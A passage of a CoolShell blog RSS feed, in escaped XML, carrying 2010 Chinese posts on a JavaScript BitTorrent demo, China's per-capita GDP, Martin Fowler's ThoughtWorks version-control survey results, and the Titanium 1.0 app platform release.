class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/2394.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"九个PHP很有用的功能\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2394.html\" class=\"wp_rp_title\">九个PHP很有用的功能</a></li><li ><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"10大经典错误\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_title\">10大经典错误</a></li><li ><a href=\"https://coolshell.cn/articles/1480.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" alt=\"非常简单的Python HTTP服务\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1480.html\" class=\"wp_rp_title\">非常简单的Python HTTP服务</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2155.html\">别只谈系统备份，谈谈怎样恢复系统吧！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2155.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>3</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>BT工作原理演示</title>\n\t\t<link>https://coolshell.cn/articles/2184.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2184.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 16 Mar 2010 07:09:35 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[BT]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2184</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面这个网站使用Javascript编写了一个BT工作原理演示动画程序。当然，你可能需要使用Chrome浏览器打开，因为他真的很耗CPU。在我的双核（2GHz）...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2184.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2184.html\">BT工作原理演示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<div class=\"mceTemp\">下面这个网站使用Javascript编写了一个BT工作原理演示动画程序。当然，你可能需要使用Chrome浏览器打开，因为他真的很耗CPU。在我的双核（2GHz）T60电脑上用Chrome打开CPU一下就被耗了50%左右。</div>\n<div class=\"mceTemp\" style=\"text-align: center;\"><a href=\"http://mg8.org/processing/bt.html\">http://mg8.org/processing/bt.html</a></div>\n<div class=\"mceTemp\" style=\"text-align: left;\">下面是我截的一个图，每个圆代表一个结点，其会通过其它结点下载需要的文件段。结点中间的那个Bar有点类似于eDonkey中的下载进度条。至于为什么要用像彩虹一样的颜色，主要是为了让你看到不同的段是从不同的结点下载的。</div>\n<div class=\"mceTemp\" style=\"text-align: left;\">你可以按热键S来加入一个下载完了的结点，用P来加入一下空结点，按R来删除一个结点（有点慢，要等10秒左右吧）。</div>\n<figure id=\"attachment_2185\" aria-describedby=\"caption-attachment-2185\" style=\"width: 553px\" class=\"wp-caption alignnone\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/03/bt_js_demo.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2185\" title=\"BT工作原理演示动画\" src=\"https://coolshell.cn/wp-content/uploads/2010/03/bt_js_demo.jpg\" alt=\"\" width=\"553\" height=\"499\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/03/bt_js_demo.jpg 553w, https://coolshell.cn/wp-content/uploads/2010/03/bt_js_demo-300x271.jpg 300w, https://coolshell.cn/wp-content/uploads/2010/03/bt_js_demo-299x270.jpg 299w\" sizes=\"(max-width: 553px) 100vw, 553px\" /></a><figcaption id=\"caption-attachment-2185\" class=\"wp-caption-text\">BT工作原理演示动画</figcaption></figure>\n<p>关于其它Javascript的一些小玩意，你可以看看<a title=\"哥是玩程序的\" href=\"https://coolshell.cn/articles/1932.html\" target=\"_blank\">这篇文章</a>。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/lua-150x150.gif\" alt=\"Lua简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_title\">Lua简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2184.html\">BT工作原理演示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2184.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>11</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>中国仍然是一个很穷的国家</title>\n\t\t<link>https://coolshell.cn/articles/2179.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2179.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[mailper]]></dc:creator>\n\t\t<pubDate>Sun, 14 Mar 2010 12:51:49 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<category><![CDATA[Google Public Data Explorer]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2179</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Google最近发布了一个全世界可以开放查询的数据平台，其中包含了多种宏观数据，并且有很方便的作图方式。 http://www.google.com/publi...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2179.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2179.html\">中国仍然是一个很穷的国家</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>Google最近发布了一个全世界可以开放查询的数据平台，其中包含了多种宏观数据，并且有很方便的作图方式。</p>\n<p><a href=\"http://www.google.com/publicdata/directory\">http://www.google.com/publicdata/directory</a></p>\n<p>其中有一项是<a href=\"http://www.google.com/publicdata/explore?ds=ltjib1m1uf3pf_&amp;ctype=l&amp;met_y=sizegdp_t2&amp;hl=en_US&amp;dl=en_US\">世界各国人均GDP</a></p>\n<p>虽然最近一些中国城市房价已经超越我们的想象力，但是从<a href=\"http://www.google.com/publicdata/explore?ds=ltjib1m1uf3pf_&amp;ctype=l&amp;met_y=sizegdp_t2&amp;hl=en_US&amp;dl=en_US#ctype=l&amp;met_y=sizegdp_t2&amp;scale_y=lin&amp;ind_y=false&amp;rdim=country&amp;idim=country:CHN:IND:DEU:GBR:USA:ZAF:ITA:AUS:CAN:RUS:JPN&amp;hl=en_US&amp;dl=en_US\">这张图</a>里还是可以看到，我们仍是一个人均非常穷的国家。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/03/we-are-still-poor.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-2180\" title=\"we are still poor\" src=\"https://coolshell.cn/wp-content/uploads/2010/03/we-are-still-poor.jpg\" alt=\"\" width=\"852\" height=\"620\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/03/we-are-still-poor.jpg 852w, https://coolshell.cn/wp-content/uploads/2010/03/we-are-still-poor-300x218.jpg 300w, https://coolshell.cn/wp-content/uploads/2010/03/we-are-still-poor-768x559.jpg 768w, https://coolshell.cn/wp-content/uploads/2010/03/we-are-still-poor-371x270.jpg 371w\" sizes=\"(max-width: 852px) 100vw, 852px\" /></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" alt=\"PFIF网上寻人协议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_title\">PFIF网上寻人协议</a></li><li ><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"来信， 创业 和 移动互联网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_title\">来信， 创业 和 移动互联网</a></li><li ><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"SteveY对Amazon和Google平台的吐槽\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_title\">SteveY对Amazon和Google平台的吐槽</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2179.html\">中国仍然是一个很穷的国家</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2179.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>31</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Martin Fowler 在 ThoughtWorks 内部关于版本控制工具的调查</title>\n\t\t<link>https://coolshell.cn/articles/2135.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2135.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[jnj]]></dc:creator>\n\t\t<pubDate>Fri, 12 Mar 2010 22:31:02 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[版本控制]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2135</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>文章来源 martinfowler.com 从2010年2月23日至3月3日，Martin Fowler 在 ThoughtWorks 内部通过开发人员邮件列表...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2135.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2135.html\">Martin Fowler 在 ThoughtWorks 内部关于版本控制工具的调查</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"http://martinfowler.com/bliki/VcsSurvey.html\"><em>文章来源 martinfowler.com</em></a></p>\n<p>从2010年2月23日至3月3日，Martin Fowler 在 ThoughtWorks 内部通过开发人员邮件列表进行了一个关于版本控制工具的小调查，共收到99个回复。下面是调查选项定义和调查结果：</p>\n<ul>\n<li>非常好 （如果不是最好也非常接近了）</li>\n<li>还行 （不是最好，但是我还是愿意使用）</li>\n<li>问题多多 （我可能会因此强烈建议我的团队使用其他同类工具）</li>\n<li>危险 （非常糟糕的工具，我认为 ThoughtWorks 不应该使用它）</li>\n<li>不知道 （我还没有使用过此工具）</li>\n<li>回复数 （对此工具的回复总数，包括“不知道”选项）</li>\n<li>好评率 （(“非常好”+“还行”)/回复数）</li>\n</ul>\n<table>\n<tbody>\n<tr>\n<th>名称</th>\n<th>非常好</th>\n<th>还行</th>\n<th>问题多多</th>\n<th>危险</th>\n<th>不知道</th>\n<th>回复数</th>\n<th>好评率</th>\n</tr>\n<tr>\n<td><strong>Subversion</strong></td>\n<td>20</td>\n<td>72</td>\n<td>6</td>\n<td>1</td>\n<td>0</td>\n<td>99</td>\n<td>93%</td>\n</tr>\n<tr>\n<td><strong>git</strong></td>\n<td>65</td>\n<td>19</td>\n<td>1</td>\n<td>0</td>\n<td>14</td>\n<td>85</td>\n<td>99%</td>\n</tr>\n<tr>\n<td><strong>Mercurial</strong></td>\n<td>33</td>\n<td>27</td>\n<td>2</td>\n<td>0</td>\n<td>36</td>\n<td>62</td>\n<td>97%</td>\n</tr>\n<tr>\n<td><strong>ClearCase</strong></td>\n<td>0</td>\n<td>3</td>\n<td>14</td>\n<td>41</td>\n<td>41</td>\n<td>58</td>\n<td>5%</td>\n</tr>\n<tr>\n<td><strong>TFS</strong></td>\n<td>0</td>\n<td>0</td>\n<td>32</td>\n<td>22</td>\n<td>44</td>\n<td>54</td>\n<td>0%</td>\n</tr>\n<tr>\n<td><strong>CVS</strong></td>\n<td>0</td>\n<td>14</td>\n<td>59</td>\n<td>11</td>\n<td>15</td>\n<td>84</td>\n<td>17%</td>\n</tr>\n<tr>\n<td><strong>Bazaar</strong></td>\n<td>1</td>\n<td>13</td>\n<td>3</td>\n<td>0</td>\n<td>80</td>\n<td>17</td>\n<td>82%</td>\n</tr>\n<tr>\n<td><strong>Perforce</strong></td>\n<td>1</td>\n<td>26</td>\n<td>16</td>\n<td>1</td>\n<td>54</td>\n<td>44</td>\n<td>61%</td>\n</tr>\n<tr>\n<td><strong>VSS</strong></td>\n<td>1</td>\n<td>1</td>\n<td>11</td>\n<td>64</td>\n<td>22</td>\n<td>77</td>\n<td>3%</td>\n</tr>\n</tbody>\n</table>\n<p>Martin Fowler 补充道：</p>\n<ul>\n<li>Subversion，git，和 Mercurial 都得到了较高的好评率，git 得分最高。</li>\n<li>大部分人认为 VSS 很危险，不过也有一两个人认为它还不错。</li>\n<li>大家都不太喜欢 TFS 和 ClearCase，并认为 ClearCase 更为危险。</li>\n<li>我们不用太拘泥于具体数据，特别是对于那些不好的工具的差评都无太大区别，而对于那些优秀的工具的好评却很有一些不同。</li>\n</ul>\n<p>Martin Fowler 反复强调这只是一个公司内部的调查，并无误导市场的意思，大家如果感兴趣的话可以点击 <em><a href=\"http://martinfowler.com/bliki/VcsSurvey.html\"><em>文章来源</em></a></em> 阅读原文，以及另一篇关于版本控制的文章 <em><a href=\"http://martinfowler.com/bliki/VersionControlTools.html\">VersionControlTools</a></em>。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4875.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/06/20110620115951113-150x150.gif\" alt=\"一个空格引发的惨剧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4875.html\" class=\"wp_rp_title\">一个空格引发的惨剧</a></li><li ><a href=\"https://coolshell.cn/articles/1283.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" alt=\"Linux基金会的广告\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1283.html\" class=\"wp_rp_title\">Linux基金会的广告</a></li><li ><a href=\"https://coolshell.cn/articles/8593.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" alt=\"如何测试洗牌程序\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8593.html\" class=\"wp_rp_title\">如何测试洗牌程序</a></li><li ><a href=\"https://coolshell.cn/articles/19996.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg\" alt=\"Unix 50 年：Ken Thompson 的密码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19996.html\" class=\"wp_rp_title\">Unix 50 年：Ken Thompson 的密码</a></li><li ><a href=\"https://coolshell.cn/articles/461.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"Python处理中文的时候的一些小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/461.html\" class=\"wp_rp_title\">Python处理中文的时候的一些小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/2622.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/07/Martin-Flower1-150x150.jpg\" alt=\"为什么敏捷方法能在软件开发中行之有效？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2622.html\" class=\"wp_rp_title\">为什么敏捷方法能在软件开发中行之有效？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2135.html\">Martin Fowler 在 ThoughtWorks 内部关于版本控制工具的调查</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2135.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>6</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Titanium &#8211; 桌面和移动应用开发平台</title>\n\t\t<link>https://coolshell.cn/articles/2117.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2117.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[jnj]]></dc:creator>\n\t\t<pubDate>Wed, 10 Mar 2010 10:47:43 +0000</pubDate>\n\t\t\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[桌面应用]]></category>\n\t\t<category><![CDATA[移动应用]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2117</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>文章来源 www.readwriteweb.com 2010年3月8日，Appcelerator 公司发布了 Titanium 的 1.0 版本。 Titani...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2117.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2117.html\">Titanium – 桌面和移动应用开发平台</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><em><a href=\"http://www.readwriteweb.com/archives/titanium_10_launches_build_native_apps_for_desktop_mobile_ipad.php\">文章来源 www.readwriteweb.com</a></em><em><br />\n</em></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/03/PROD_tit_mobile.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-2122\" src=\"https://coolshell.cn/wp-content/uploads/2010/03/PROD_tit_mobile.png\" alt=\"\" width=\"248\" height=\"168\" /></a></p>\n<p>2010年3月8日，Appcelerator 公司发布了 Titanium 的 1.0 版本。 Titanium 是一个桌面和移动应用程序开发平台，基于此平台，开发人员可以使用标准的 WEB 技术如 HTML，JavaScript，和 CSS 来开发桌面和移动应用程序。</p>\n<p>和其他开发平台所宣传的开发移动应用无需理解本机代码不同， Titanium 允许开发人员使用他们熟悉的编程技术来开发本机（native）移动应用，同时效果和功能与那些使用平台特定语言编写的应用相同，如可以操纵内置相机、播放视频流等等。 Titanium 的产品代码在近几个月内得到了优化，在性能方面得到了多处改进，加载时间由原来的10-20秒下降为3秒，页面切换非常迅速，处理速度提高了5倍。同时还增加了一些新的功能，如超过100个本机界面控件，2D 和 3D 动画及媒体处理机能。有了这些方面的增强，开发人员可以在 Titanium 支持的平台上开发品牌化应用， 休闲游戏， 以及增强现实应用。</p>\n<p>当被问到 Titanium 与其他开发平台的不同之处在哪里时，公司的营销副总裁 Scott Schwarzhoff 解释道：“很多我们的竞争者经仅仅是将 WEB 应用曲解为本机应用提供给客户，而没有提供真正的本机应用解决方案”。提供本机界面（超过100个本机API）的只有我们一家公司，同时我们还提供推通知服务，本机地图，Facebook连接，应用数据分析，增强现实应用，将来还会有更多特性。</p>\n<p>自2009年6月以来，Titanium 开发平台吸引了超过27000名开发人员对公司所谓“本机优势”概念的兴趣（<em><a href=\"http://www.appcelerator.com/products/native-iphone-android-development/\">阅读详情</a></em>）。其中包括对本机控件的支持，基于位置的服务，社交共享，HTML 5，在线和设备内置数据库，集成数据分析，丰富的多媒体等等。</p>\n<p>Appcelerator 承诺在3月份的第三周支持苹果的新平板设备，包括几周后即将发布的 iPad。对黑莓的支持将于五月或六月间发布。Titanium 的社区版本完全免费，专业版本不免费，但是提供技术支持，数据分析以及对新版本的预览。</p>\n<p>Titanium 支持的平台包括： PC， Mac，Linux，最新版本则支持 iPhone 和 Android，Appcelerator 公司即将发布对黑莓和苹果 iPad 的支持。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/5265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" alt=\" C++11 中值得关注的几大变化（详解）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5265.html\" class=\"wp_rp_title\"> C++11 中值得关注的几大变化（详解）</a></li><li ><a href=\"https://coolshell.cn/articles/1178.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/07/Internet-150x150.jpg\" alt=\"Internet 技术演变图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1178.html\" class=\"wp_rp_title\">Internet 技术演变图</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/737.html\" class=\"wp_rp_thumbnail\"><img 